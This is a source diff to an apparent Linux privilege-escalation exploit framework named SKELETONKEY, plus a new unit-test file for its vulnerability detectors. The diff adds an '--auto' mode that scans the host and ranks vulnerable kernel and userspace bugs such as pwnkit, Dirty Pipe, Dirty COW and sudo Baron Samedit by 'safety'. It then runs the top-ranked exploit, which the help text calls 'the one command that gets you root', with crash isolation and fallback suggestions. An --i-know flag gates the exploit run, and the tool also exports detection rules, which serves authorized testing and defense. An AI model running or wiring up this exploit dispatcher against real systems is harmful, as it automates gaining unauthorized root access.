#include "core/offsets.h"
#include "core/host.h"
#include <time.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <signal.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdbool.h>
@@ -28,26 +33,13 @@
#include <string.h>
#include <unistd.h>
#define SKELETONKEY_VERSION "0.4.1"
#define SKELETONKEY_VERSION "0.6.0"
static const char BANNER[] =
"\n"
" ╭───╮\n"
" \n"
" │ ● │════════════════════════════════════════════════════════╗\n"
" ╲ ╱ ╔══╩══╗\n"
" ╰───╯ ║ ╔═╝\n"
" ║ ║\n"
" ╚═══╝\n"
"\n"
" ███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗\n"
" ██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝\n"
" ███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝ \n"
" ╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝ \n"
" ███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║ \n"
" ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝ \n"
" Curated Linux kernel LPE corpus — v" SKELETONKEY_VERSION "\n"
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
"SKELETONKEY — Curated Linux kernel LPE corpus — v" SKELETONKEY_VERSION "\n"
"AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n"
"\n";
static void usage(const char *prog)
{
@@ -64,6 +56,11 @@ static void usage(const char *prog)
" (combine with --format=auditd|sigma|yara|falco)\n"
" --module-info <name> full metadata + rule bodies for one module\n"
" (combine with --json for machine-readable output)\n"
" --auto scan host, rank vulnerable modules by safety, run the\n"
" safest exploit. Requires --i-know. The 'one command\n"
" that gets you root' mode — picks structural exploits\n"
" (no kernel state touched) over page-cache writes over\n"
" kernel primitives over races.\n"
" --audit system-hygiene scan: setuid binaries, world-writable\n"
" files in /etc, file capabilities, sudo NOPASSWD\n"
" (complements --scan; answers 'is this box\n"
@@ -80,6 +77,9 @@ static void usage(const char *prog)
" --i-know authorization gate for --exploit modes\n"
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
" --dry-run preview only — do the scan + pick, never call exploit/\n"
" mitigate/cleanup. Useful with --auto to see what would\n"
" fire before authorizing it.\n"
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
" (the 🟡 modules return primitive-only by default; with\n"
" --full-chain they continue to leak → arb-write →\n"
@@ -105,6 +105,7 @@ enum mode {
MODE_DETECT_RULES,
MODE_MODULE_INFO,
MODE_AUDIT,
MODE_AUTO,
MODE_DUMP_OFFSETS,
MODE_HELP,
MODE_VERSION,
@@ -667,9 +668,347 @@ static int cmd_detect_rules(enum detect_format fmt)
return 0;
}
/* --auto: scan, rank by safety, run safest vulnerable exploit. */
static int module_safety_rank(const char *n)
{
/* Higher = safer. Run highest-ranked vulnerable module. */
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
if (!strcmp(n, "pack2theroot")) return 95; /* userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint */
if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */
if (!strcmp(n, "dirty_cow")) return 89;
if (!strncmp(n, "copy_fail", 9) ||
!strncmp(n, "dirty_frag", 10)) return 88; /* verified page-cache writes */
if (!strcmp(n, "dirtydecrypt") ||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
return 50; /* kernel primitives — middle of pack */
}
/* Per-detect timeout: a probe that hangs (network blocking, deadlocked
* fork-probe, kernel-side stall) must NOT freeze --auto. 15s is well
* above any honest active probe (fragnesia's full XFRM setup is ~500ms,
* dirtydecrypt's rxgk handshake ~1s) but short enough that the scan
* still finishes within ~7-8 minutes even if every module hits the cap. */
#define SKELETONKEY_DETECT_TIMEOUT_SECS 15
/* Run a module's detect() in a forked child so a SIGILL/SIGSEGV/etc.
* in one detector cannot tear down the dispatcher. Also installs an
* alarm(15) so a hung probe cannot stall the scan.
*
* The verdict travels back via the child's exit status
* (skeletonkey_result_t values fit in 0..5). On a crash, returns
* SKELETONKEY_TEST_ERROR; *crashed_signal is set to the terminating
* signal (0 if exited normally), *timed_out is true if the signal
* was SIGALRM (the detect-timeout fired).
*
* This matters because --auto auto-enables active probes, which can
* exercise CPU instructions (entrybleed's prefetchnta sweep) or
* kernel paths (XFRM ESP-in-TCP setup) that may misbehave under
* emulation or hardened containers, or stall on a frozen socket.
* Without isolation + timeout, one bad probe stops the whole scan
* and the operator never sees the rest of the verdict table. */
static skeletonkey_result_t run_detect_isolated(
const struct skeletonkey_module *m,
const struct skeletonkey_ctx *ctx,
int *crashed_signal,
bool *timed_out)
{
*crashed_signal = 0;
*timed_out = false;
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
/* SIGALRM default action is termination — perfect kill-switch. */
alarm(SKELETONKEY_DETECT_TIMEOUT_SECS);
skeletonkey_result_t r = m->detect(ctx);
fflush(NULL);
_exit((int)r);
}
int st;
if (waitpid(pid, &st, 0) < 0) return SKELETONKEY_TEST_ERROR;
if (WIFEXITED(st)) return (skeletonkey_result_t)WEXITSTATUS(st);
if (WIFSIGNALED(st)) {
*crashed_signal = WTERMSIG(st);
if (*crashed_signal == SIGALRM) *timed_out = true;
}
return SKELETONKEY_TEST_ERROR;
}
/* Run a module callback (exploit/mitigate/cleanup) in a forked child.
* Two crash-safety properties:
* - SIGSEGV/SIGILL/etc. in the callback is contained.
* - --auto's "try next-safest on EXPLOIT_FAIL" fallback path actually
* runs even if the picked exploit dies hard.
*
* Result communication is via a one-byte pipe with FD_CLOEXEC on the
* write end:
* - If the callback returns normally, the child writes the result
* byte before _exit; the parent reads it. Trusted result code.
* - If the callback execve()s into a target (dirty_pipe su,
* pack2theroot /tmp/.suid_bash), FD_CLOEXEC closes the write
* end as part of the exec transfer; the parent's read() gets
* EOF. We then know the child exec'd code and report EXPLOIT_OK
* regardless of what shell exit code the exec'd-into program
* returns when the operator detaches.
* - If the child died of a signal, that's a crash; report it. */
static skeletonkey_result_t run_callback_isolated(
const char *label,
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *),
const struct skeletonkey_ctx *ctx,
int *crashed_signal,
bool *exec_path)
{
(void)label;
*crashed_signal = 0;
*exec_path = false;
int pfd[2];
if (pipe(pfd) < 0) {
/* Plumbing failed — fall back to direct call. The crash-safety
* property is degraded for this one invocation, but the
* dispatcher would have crashed anyway if pipe() fails. */
return fn(ctx);
}
/* FD_CLOEXEC: if child execve's, the kernel closes pfd[1] before
* handing control to the new image, so the new image cannot
* inadvertently write garbage and the parent observes EOF. */
if (fcntl(pfd[1], F_SETFD, FD_CLOEXEC) < 0) {
close(pfd[0]); close(pfd[1]);
return fn(ctx);
}
pid_t pid = fork();
if (pid < 0) {
close(pfd[0]); close(pfd[1]);
perror("fork");
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
close(pfd[0]);
skeletonkey_result_t r = fn(ctx);
/* If we get here, fn didn't exec. Report the code. */
unsigned char code = (unsigned char)r;
ssize_t w = write(pfd[1], &code, 1);
(void)w;
close(pfd[1]);
fflush(NULL);
_exit((int)r);
}
close(pfd[1]);
unsigned char code = 0;
ssize_t n = read(pfd[0], &code, 1);
close(pfd[0]);
int st;
waitpid(pid, &st, 0);
if (n == 1)
return (skeletonkey_result_t)code;
/* No byte read → child either exec'd (FD_CLOEXEC closed pfd[1])
* or crashed before reaching the write. Distinguish via wait
* status. */
if (WIFSIGNALED(st)) {
*crashed_signal = WTERMSIG(st);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Normal exit without writing → must have exec'd. We achieved
* code execution; treat as EXPLOIT_OK regardless of the shell's
* subsequent exit code. */
*exec_path = true;
return SKELETONKEY_EXPLOIT_OK;
}
/* Host fingerprint parsing (ID / VERSION_ID / kernel / arch) lives in
* core/host.c; cmd_auto consults ctx->host via the shared banner. */
static int cmd_auto(struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized && !ctx->dry_run) {
fprintf(stderr,
"[-] --auto requires --i-know (or --dry-run for a preview that never fires).\n"
" About to attempt root via the safest available LPE on this host.\n"
" Authorized testing only. See docs/ETHICS.md.\n");
return 1;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] auto: already running as root; nothing to do.\n");
return 0;
}
/* Active probes give --auto a more accurate verdict on modules that
* implement them (dirty_pipe, the copy_fail family, dirtydecrypt,
* fragnesia, overlayfs). Each per-module probe is documented safe:
* /tmp sentinel files + fork-isolated namespace mounts. No real
* system state is corrupted by the scan. Without this, --auto can
* miss vulnerabilities that a version-only check would flag as
* indeterminate (TEST_ERROR), or accept distro silent backports
* that the version check is fooled by. */
bool prev_active = ctx->active_probe;
ctx->active_probe = true;
/* Two-line host fingerprint banner (identity + capability gates). */
skeletonkey_host_print_banner(ctx->host, ctx->json);
fprintf(stderr, "[*] auto: active probes enabled — brief /tmp file "
"touches and fork-isolated namespace probes\n");
fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n",
skeletonkey_module_count());
struct cand { const struct skeletonkey_module *m; int rank; } cands[64];
int nc = 0;
int n_vuln = 0, n_ok = 0, n_precond = 0, n_test = 0;
int n_crash = 0, n_timeout = 0, n_other = 0;
size_t n = skeletonkey_module_count();
for (size_t i = 0; i < n; i++) {
const struct skeletonkey_module *m = skeletonkey_module_at(i);
if (!m->detect || !m->exploit) continue;
int sig = 0;
bool timed_out = false;
skeletonkey_result_t r = run_detect_isolated(m, ctx, &sig, &timed_out);
if (sig != 0) {
const char *why = timed_out ? "timed out" : "crashed";
fprintf(stderr, "[?] auto: %-22s detect() %s "
"(signal %d) — continuing\n",
m->name, why, sig);
if (timed_out) n_timeout++;
else n_crash++;
continue;
}
switch (r) {
case SKELETONKEY_VULNERABLE:
if (nc < 64) {
cands[nc].m = m;
cands[nc].rank = module_safety_rank(m->name);
fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
m->name, cands[nc].rank);
nc++;
} else {
fprintf(stderr, "[+] auto: %-22s VULNERABLE (overflow; not "
"considered for pick)\n", m->name);
}
n_vuln++;
break;
case SKELETONKEY_OK:
fprintf(stderr, "[ ] auto: %-22s patched or not applicable\n",
m->name);
n_ok++;
break;
case SKELETONKEY_PRECOND_FAIL:
fprintf(stderr, "[ ] auto: %-22s precondition not met\n", m->name);
n_precond++;
break;
case SKELETONKEY_TEST_ERROR:
fprintf(stderr, "[?] auto: %-22s indeterminate "
"(detector could not decide)\n", m->name);
n_test++;
break;
default:
fprintf(stderr, "[?] auto: %-22s %s\n", m->name, result_str(r));
n_other++;
break;
}
}
/* Restore caller's --active setting before we call exploit(). The
* exploit() of each module may use ctx->active_probe with different
* semantics than detect(); we owned this flag only for the scan. */
ctx->active_probe = prev_active;
fprintf(stderr, "\n[*] auto: scan summary — %d vulnerable, %d patched/"
"n.a., %d precondition-fail, %d indeterminate%s\n",
n_vuln, n_ok, n_precond, n_test,
n_other ? " (+other)" : "");
if (n_crash > 0)
fprintf(stderr, "[!] auto: %d module(s) crashed during detect "
"— dispatcher recovered via fork isolation\n", n_crash);
if (n_timeout > 0)
fprintf(stderr, "[!] auto: %d module(s) timed out (>%ds) during "
"detect — dispatcher recovered\n",
n_timeout, SKELETONKEY_DETECT_TIMEOUT_SECS);
if (nc == 0) {
if (n_test > 0) {
fprintf(stderr, "[i] auto: %d module(s) returned indeterminate. "
"Try `skeletonkey --exploit <name> --i-know` if "
"you know the host is vulnerable.\n", n_test);
}
fprintf(stderr, "[-] auto: no confirmed-vulnerable modules. Host "
"appears patched.\n");
return 0;
}
/* Sort descending by rank (safest first). */
for (int i = 0; i < nc; i++)
for (int j = i + 1; j < nc; j++)
if (cands[j].rank > cands[i].rank) {
struct cand t = cands[i]; cands[i] = cands[j]; cands[j] = t;
}
const struct skeletonkey_module *pick = cands[0].m;
if (ctx->dry_run) {
fprintf(stderr,
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
"[*] auto: --dry-run: would launch `--exploit %s --i-know`; not firing.\n",
nc, pick->name, cands[0].rank, pick->name);
if (nc > 1) {
fprintf(stderr, "[i] auto: other candidates (ranked):\n");
for (int i = 1; i < nc; i++)
fprintf(stderr, " %-22s safety rank %d\n",
cands[i].m->name, cands[i].rank);
}
return 0;
}
fprintf(stderr,
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
"[*] auto: launching --exploit %s...\n\n",
nc, pick->name, cands[0].rank, pick->name);
int xsig = 0;
bool exec_path = false;
skeletonkey_result_t r = run_callback_isolated(
"exploit", pick->exploit, ctx, &xsig, &exec_path);
if (xsig != 0) {
fprintf(stderr, "\n[!] auto: %s exploit crashed (signal %d) — "
"dispatcher recovered via fork isolation\n",
pick->name, xsig);
} else if (exec_path) {
fprintf(stderr, "\n[*] auto: %s exploit transferred to spawned "
"target (shell exited cleanly) — EXPLOIT_OK\n",
pick->name);
} else {
fprintf(stderr, "\n[*] auto: %s exploit returned %s\n",
pick->name, result_str(r));
}
if (r == SKELETONKEY_EXPLOIT_OK) return 5;
if (r == SKELETONKEY_EXPLOIT_FAIL && nc > 1) {
fprintf(stderr, "[i] auto: %d more candidate(s) available — try one manually:\n", nc - 1);
for (int i = 1; i < nc; i++)
fprintf(stderr, " skeletonkey --exploit %s --i-know\n", cands[i].m->name);
}
return (r == SKELETONKEY_EXPLOIT_FAIL) ? 3 : (int)r;
}
static int cmd_one(const struct skeletonkey_module *m, const char *op,
const struct skeletonkey_ctx *ctx)
{
if (ctx->dry_run) {
fprintf(stderr, "[*] %s: --dry-run: would run --%s; not firing.\n",
m->name, op);
return 0;
}
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *) = NULL;
if (strcmp(op, "exploit") == 0) fn = m->exploit;
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
@@ -679,8 +1018,18 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
return 1;
}
skeletonkey_result_t r = fn(ctx);
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
int sig = 0;
bool exec_path = false;
skeletonkey_result_t r = run_callback_isolated(op, fn, ctx, &sig, &exec_path);
if (sig != 0)
fprintf(stderr, "[!] %s --%s crashed (signal %d) — recovered\n",
m->name, op, sig);
else if (exec_path)
fprintf(stderr, "[*] %s --%s transferred to spawned target — EXPLOIT_OK\n",
m->name, op);
else
fprintf(stderr, "[*] %s --%s result: %s\n",
m->name, op, result_str(r));
return (int)r;
}
@@ -708,12 +1057,25 @@ int main(int argc, char **argv)
skeletonkey_register_af_unix_gc();
skeletonkey_register_nft_fwd_dup();
skeletonkey_register_nft_payload();
skeletonkey_register_sudo_samedit();
skeletonkey_register_sequoia();
skeletonkey_register_sudoedit_editor();
skeletonkey_register_vmwgfx();
skeletonkey_register_dirtydecrypt();
skeletonkey_register_fragnesia();
skeletonkey_register_pack2theroot();
enum mode mode = MODE_SCAN;
struct skeletonkey_ctx ctx = {0};
const char *target = NULL;
int i_know = 0;
/* Probe the host once, up front. ctx.host is a stable pointer
* shared by every module callback; populating now means each
* detect() sees the same fingerprint and no module has to re-do
* uname/getpwuid/sysctl reads. See core/host.{h,c}. */
ctx.host = skeletonkey_host_get();
enum detect_format dr_fmt = FMT_AUDITD;
static struct option longopts[] = {
{"scan", no_argument, 0, 'S'},
@@ -725,6 +1087,7 @@ int main(int argc, char **argv)
{"module-info", required_argument, 0, 'I'},
{"audit", no_argument, 0, 'A'},
{"dump-offsets", no_argument, 0, 8 },
{"auto", no_argument, 0, 9 },
{"format", required_argument, 0, 6 },
{"i-know", no_argument, 0, 1 },
{"active", no_argument, 0, 2 },
@@ -732,6 +1095,7 @@ int main(int argc, char **argv)
{"json", no_argument, 0, 4 },
{"no-color", no_argument, 0, 5 },
{"full-chain", no_argument, 0, 7 },
{"dry-run", no_argument, 0, 10 },
{"version", no_argument, 0, 'V'},
{"help", no_argument, 0, 'h'},
{0, 0, 0, 0}
@@ -755,6 +1119,8 @@ int main(int argc, char **argv)
case 5 : ctx.no_color = true; break;
case 7 : ctx.full_chain = true; break;
case 8 : mode = MODE_DUMP_OFFSETS; break;
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
case 10 : ctx.dry_run = true; break;
case 6 :
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
@@ -781,6 +1147,7 @@ int main(int argc, char **argv)
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
if (mode == MODE_AUTO) return cmd_auto(&ctx);
if (mode == MODE_DUMP_OFFSETS) return cmd_dump_offsets(&ctx);
/* --exploit / --mitigate / --cleanup all take a target */
+502
View File
@@ -0,0 +1,502 @@
/*
* tests/test_detect.c detect() unit tests
*
* Each test builds a synthetic struct skeletonkey_host fingerprint
* (vulnerable / patched / specific-gate-closed) and asserts each
* module's detect() returns the expected verdict. Catches regressions
* in the host-fingerprint-consuming logic across the corpus.
*
* Coverage today is the four modules that already consume ctx->host:
* - dirtydecrypt (CVE-2026-31635)
* - fragnesia (CVE-2026-46300)
* - pack2theroot (CVE-2026-41651)
* - overlayfs (CVE-2021-3493)
* Coverage grows automatically as more modules migrate to ctx->host
* (see ROADMAP "core/host" follow-up).
*
* Why only Linux: every module's real detect() lives inside
* `#ifdef __linux__`; on non-Linux the stubs unconditionally return
* PRECOND_FAIL so the tests are tautologies. The harness compiles
* cross-platform but skips the assertions on non-Linux to keep the
* macOS dev build green while still preventing bit-rot of the test
* infrastructure.
*/
#include "../core/module.h"
#include "../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern const struct skeletonkey_module dirtydecrypt_module;
extern const struct skeletonkey_module fragnesia_module;
extern const struct skeletonkey_module pack2theroot_module;
extern const struct skeletonkey_module overlayfs_module;
extern const struct skeletonkey_module dirty_pipe_module;
extern const struct skeletonkey_module dirty_cow_module;
extern const struct skeletonkey_module ptrace_traceme_module;
extern const struct skeletonkey_module cgroup_release_agent_module;
extern const struct skeletonkey_module nf_tables_module;
extern const struct skeletonkey_module fuse_legacy_module;
extern const struct skeletonkey_module cls_route4_module;
extern const struct skeletonkey_module overlayfs_setuid_module;
extern const struct skeletonkey_module af_packet_module;
extern const struct skeletonkey_module af_packet2_module;
extern const struct skeletonkey_module af_unix_gc_module;
extern const struct skeletonkey_module netfilter_xtcompat_module;
extern const struct skeletonkey_module nft_set_uaf_module;
extern const struct skeletonkey_module nft_fwd_dup_module;
extern const struct skeletonkey_module nft_payload_module;
extern const struct skeletonkey_module stackrot_module;
extern const struct skeletonkey_module sequoia_module;
extern const struct skeletonkey_module vmwgfx_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
extern const struct skeletonkey_module sudo_samedit_module;
extern const struct skeletonkey_module sudoedit_editor_module;
extern const struct skeletonkey_module pwnkit_module;
static int g_pass = 0;
static int g_fail = 0;
static const char *result_str(skeletonkey_result_t r)
{
switch (r) {
case SKELETONKEY_OK: return "OK";
case SKELETONKEY_TEST_ERROR: return "TEST_ERROR";
case SKELETONKEY_VULNERABLE: return "VULNERABLE";
case SKELETONKEY_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
case SKELETONKEY_PRECOND_FAIL: return "PRECOND_FAIL";
case SKELETONKEY_EXPLOIT_OK: return "EXPLOIT_OK";
}
return "???";
}
#ifdef __linux__
/* Suppress per-module banner chatter so the test output stays tidy.
* Modules respect ctx->json to mean "structured output mode; no banners"
* see each module's `if (!ctx->json) fprintf(...)` pattern. */
static void run_one(const char *test_name,
const struct skeletonkey_module *m,
const struct skeletonkey_host *h,
skeletonkey_result_t want)
{
struct skeletonkey_ctx ctx = {0};
ctx.host = h;
ctx.json = true; /* silence per-module log lines */
skeletonkey_result_t got = m->detect(&ctx);
if (got == want) {
printf("[+] PASS %-40s %s → %s\n",
test_name, m->name, result_str(got));
g_pass++;
} else {
fprintf(stderr,
"[-] FAIL %-40s %s: want %s, got %s\n",
test_name, m->name,
result_str(want), result_str(got));
g_fail++;
}
}
/* ── fingerprints ────────────────────────────────────────────────── */
/* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
* deliberately neutered host that lets the host-fingerprint-only
* gates fire without falling into deeper module logic. */
static const struct skeletonkey_host h_pre7_no_userns_no_dbus = {
.kernel = { .major = 6, .minor = 12, .patch = 76,
.release = "6.12.76-test" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.distro_version_id = "13",
.distro_pretty = "Debian GNU/Linux 13",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = false,
.has_dbus_system = false,
.has_systemd = true,
};
/* Fedora 43, no Debian family, userns allowed. */
static const struct skeletonkey_host h_fedora_no_debian = {
.kernel = { .major = 6, .minor = 14, .patch = 0,
.release = "6.14.0-fedora" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "fedora",
.distro_version_id = "43",
.distro_pretty = "Fedora 43",
.is_linux = true,
.is_rpm_family = true,
.is_debian_family = false,
.unprivileged_userns_allowed = true,
.has_dbus_system = true,
.has_systemd = true,
};
/* Modern fingerprint with a known-vulnerable sudo (1.8.31 sits in
* both the samedit [1.8.2, 1.9.5p1] and sudoedit_editor
* [1.8.0, 1.9.12p2) vulnerable ranges) AND a known-vulnerable polkit
* (0.105 is pre-0.121 fix). Used to assert the sudo/pwnkit modules
* accept the host-fingerprint version strings and reach the
* VULNERABLE-by-version path. */
static const struct skeletonkey_host h_vuln_sudo = {
.kernel = { .major = 5, .minor = 15, .patch = 0,
.release = "5.15.0-vulnsudo" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
.sudo_version = "1.8.31",
.polkit_version = "0.105",
};
/* Modern fingerprint with a fixed sudo (1.9.13p1 is above both
* sudo_samedit and sudoedit_editor vulnerable ranges) AND a fixed
* polkit (0.121 is the upstream pwnkit fix release). */
static const struct skeletonkey_host h_fixed_sudo = {
.kernel = { .major = 6, .minor = 12, .patch = 0,
.release = "6.12.0-fixedsudo" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
.sudo_version = "1.9.13p1",
.polkit_version = "0.121",
};
/* Ubuntu 24.04, userns allowed, D-Bus running, Debian family
* (because Ubuntu has /etc/debian_version). Used as the "fragnesia
* preconditions OK" baseline — fragnesia should NOT short-circuit
* on userns/userspace gates here. */
static const struct skeletonkey_host h_ubuntu_24_userns_ok = {
.kernel = { .major = 6, .minor = 8, .patch = 0,
.release = "6.8.0-ubuntu" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "ubuntu",
.distro_version_id = "24.04",
.distro_pretty = "Ubuntu 24.04 LTS",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
.has_dbus_system = true,
.has_systemd = true,
};
/* Ancient kernel that predates many bugs (Linux 4.4 LTS). Useful for
* the "kernel predates the bug → OK" path in dirty_pipe (bug
* introduced 5.8). */
static const struct skeletonkey_host h_kernel_4_4 = {
.kernel = { .major = 4, .minor = 4, .patch = 0,
.release = "4.4.0-ancient" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
};
/* Recent kernel (Linux 6.12 LTS). Above virtually every backport
* threshold in the corpus modules should report OK via the
* "patched by mainline inheritance" branch of kernel_range_is_patched. */
static const struct skeletonkey_host h_kernel_6_12 = {
.kernel = { .major = 6, .minor = 12, .patch = 0,
.release = "6.12.0-recent" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
};
/* Vulnerable-era kernel (5.14.0) with userns ENABLED. The mirror
* of h_kernel_5_14_no_userns for testing the VULNERABLE-by-version
* happy path on modules whose detect() reaches VULNERABLE once both
* version and userns gates are satisfied. Carrier file presence
* (sudo, su, etc.) is read from the actual filesystem; in CI the
* standard Debian containers provide those, so these tests are
* deterministic on Linux. */
static const struct skeletonkey_host h_kernel_5_14_userns_ok = {
.kernel = { .major = 5, .minor = 14, .patch = 0,
.release = "5.14.0-vuln-userns-ok" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = true,
};
/* Vulnerable-era kernel (5.14.0) with userns DISABLED. Most
* netfilter / overlayfs / cgroup-class modules need both an in-range
* kernel AND unprivileged userns. Kernel 5.14 was deliberately
* chosen to clear every module's "predates the bug" pre-check in
* this batch (nf_tables introduced 5.14; overlayfs_setuid 5.11;
* cls_route4/fuse_legacy older still) while remaining below every
* stable-branch backport entry (5.15.x / 5.18.x / 5.19.x in the
* relevant tables). The version check therefore says "VULNERABLE by
* version", and the userns gate fires next. */
static const struct skeletonkey_host h_kernel_5_14_no_userns = {
.kernel = { .major = 5, .minor = 14, .patch = 0,
.release = "5.14.0-vuln-no-userns" },
.arch = "x86_64",
.nodename = "test",
.distro_id = "debian",
.is_linux = true,
.is_debian_family = true,
.unprivileged_userns_allowed = false,
};
#endif /* __linux__ */
/* ── tests ───────────────────────────────────────────────────────── */
static void run_all(void)
{
#ifdef __linux__
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
SKELETONKEY_OK);
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
&dirtydecrypt_module, &h_fedora_no_debian,
SKELETONKEY_OK);
run_one("dirtydecrypt: kernel 6.8 (ubuntu) still predates → OK",
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
SKELETONKEY_OK);
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
&fragnesia_module, &h_pre7_no_userns_no_dbus,
SKELETONKEY_PRECOND_FAIL);
/* pack2theroot: not Debian family → PRECOND_FAIL */
run_one("pack2theroot: is_debian_family=false → PRECOND_FAIL",
&pack2theroot_module, &h_fedora_no_debian,
SKELETONKEY_PRECOND_FAIL);
/* pack2theroot: Debian family but no D-Bus socket → PRECOND_FAIL */
run_one("pack2theroot: has_dbus_system=false → PRECOND_FAIL",
&pack2theroot_module, &h_pre7_no_userns_no_dbus,
SKELETONKEY_PRECOND_FAIL);
/* overlayfs: distro != ubuntu → bug is Ubuntu-specific → OK */
run_one("overlayfs: distro=debian → not Ubuntu → OK",
&overlayfs_module, &h_pre7_no_userns_no_dbus,
SKELETONKEY_OK);
run_one("overlayfs: distro=fedora → not Ubuntu → OK",
&overlayfs_module, &h_fedora_no_debian,
SKELETONKEY_OK);
/* ── kernel-version-gate cases (post-migration coverage) ──── */
/* dirty_pipe: bug introduced in 5.8; kernel 4.4 predates → OK */
run_one("dirty_pipe: kernel 4.4 predates 5.8 → OK",
&dirty_pipe_module, &h_kernel_4_4,
SKELETONKEY_OK);
/* dirty_pipe: kernel 6.12 is above every backport entry → OK */
run_one("dirty_pipe: kernel 6.12 above all backports → OK",
&dirty_pipe_module, &h_kernel_6_12,
SKELETONKEY_OK);
/* dirty_cow: fix in mainline 4.9; kernel 6.12 is far above → OK */
run_one("dirty_cow: kernel 6.12 above 4.9 fix → OK",
&dirty_cow_module, &h_kernel_6_12,
SKELETONKEY_OK);
/* ptrace_traceme: fix in 5.1.17; kernel 6.12 above → OK */
run_one("ptrace_traceme: kernel 6.12 above 5.1.17 fix → OK",
&ptrace_traceme_module, &h_kernel_6_12,
SKELETONKEY_OK);
/* cgroup_release_agent: fix in mainline 5.17; kernel 6.12 above → OK */
run_one("cgroup_release_agent: kernel 6.12 above 5.17 fix → OK",
&cgroup_release_agent_module, &h_kernel_6_12,
SKELETONKEY_OK);
/* ── userns-gate cases ───────────────────────────────────── */
/* nf_tables: vulnerable kernel 5.10.0 + userns off → PRECOND_FAIL */
run_one("nf_tables: vuln kernel + userns=false → PRECOND_FAIL",
&nf_tables_module, &h_kernel_5_14_no_userns,
